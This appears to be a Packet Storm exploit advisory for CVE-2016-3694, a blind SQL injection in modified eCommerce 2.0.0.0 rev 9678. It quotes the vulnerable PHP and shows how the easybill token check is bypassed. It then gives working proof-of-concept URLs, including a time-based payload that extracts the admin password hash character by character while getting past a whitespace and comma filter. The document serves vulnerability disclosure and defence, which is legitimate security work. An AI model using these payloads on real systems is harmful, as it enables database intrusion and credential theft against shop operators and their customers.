what you don't know can hurt you

modified eCommerce 2.0.0.0 Rev 9678 SQL Injection

modified eCommerce 2.0.0.0 Rev 9678 SQL Injection
Posted Apr 18, 2016
Authored by Felix Maduakor

modified eCommerce version 2.0.0.0 revision 9678 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2016-3694
MD5 | a723b788e5392f4a8a8e0a0950e694dd

modified eCommerce 2.0.0.0 Rev 9678 SQL Injection

Change Mirror Download
# Title: Blind Injection modified eCommerce 2.0.0.0 rev 9678
# Date: 16.04.2016
# Category: webapps
# Vendor Homepage: http://www.modified-shop.org/download
# Software Link: http://www.modified-shop.org/forum/index.php?action=downloads;sa=downfile&id=96
# Version: 2.0.0.0 rev 9678
# Tested on: Apache/2.4.7, PHP Version 5.5.9, Linux
# Exploit Author: Felix Maduakor
# Contact: Felix.Maduakor@rub.de
# CVE: CVE-2016-3694

Product Description:
modified eCommerce is an Open Source shopsoftware

Vulnerability Details:
Attackable are the GET-parameters 'orders_status' and 'customers_status' through 'easybillcsv.php':


File: [shoproot]/api/easybill/easybillcsv.php

[24] if (isset($_GET['token']) && $_GET['token'] == MODULE_EASYBILL_CSV_CRON_TOKEN) {
[25-61] ...
[62] } else {
[63] die('Direct Access to this location is not allowed.');

As default option the easybill-module is not installed and the constant MODULE_EASYBILL_CSV_CRON_TOKEN is not set. As long as the easybill-module is not installed, it is possible to bypass the restriction: [Shoproot]/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN


[35] if (count($_GET['orders_status']) > 0) {
[36] $_GET['orders_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['orders_status']);
[37] $orders_status = explode(',', $_GET['orders_status']);
[38] $module->from_orders_status = implode("', '", $orders_status);
[39] }


[43] if (isset($_GET['customers_status'])) {
[44] $_GET['customers_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['customers_status']);
[45] $customers_status = explode(',', $_GET['customers_status']);
[46] $module->from_customers_status = implode("', '", $customers_status);
[47] }

As you can see in lines 35-39 and 43-47 the GET-parameters 'orders_status' and 'customers_status' are not escaped, but formatted (removed whitespaces, replaced commas with "', '"). They will be set as local variables of the "$module"-object.

File: [shoproot][admin-folder]/includes/modules/system/easybillcsv.php

[63] $export_query = xtc_db_query("SELECT DISTINCT o.orders_id
[64] FROM ".TABLE_ORDERS." o
[65] JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
[66] ON o.orders_id = osh.orders_id
[67] WHERE (o.orders_status IN ('" . $this->from_orders_status . "')
[68] OR osh.orders_status_id IN ('" . $this->from_orders_status . "'))
[69] AND (o.last_modified >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "'
[70] OR o.date_purchased >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "')
[71] AND o.customers_status IN ('" . $this->from_customers_status . "')
[72] ORDER BY o.orders_id");


The unescaped GET-parameters get placed in the query on line 67, 68 and 71.
Through the ORDER BY statement (with the explicit table-references) it is not possible to use a union-based injection.
The injection cannot include whitespaces or commas.

POC [Proof of Concept]:

http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or-sleep(5)/*&customers_status=*/%23
Will result in following query and execute the sleep-function for 5 seconds:

SELECT DISTINCT o.orders_id
FROM ".TABLE_ORDERS." o
JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
ON o.orders_id = osh.orders_id
WHERE (o.orders_status IN ('-111'))or-sleep(5)/*

long comment

*/#comment
ORDER BY o.orders_id

There are multiple ways to bypass the whitespace/comma-filter. A possible way to check if the first character of the admin-hash is '$' would be:


http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or(Select(case(36)when(ascii(substring(`customers_password`FROM(1)FOR(1))))then-sleep(5)End)from`customers`where`customers_id`=1)/*&customers_status=*/%23




Timeline
-----
[16.04.2016] Reporting vulnerability to vendor


Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close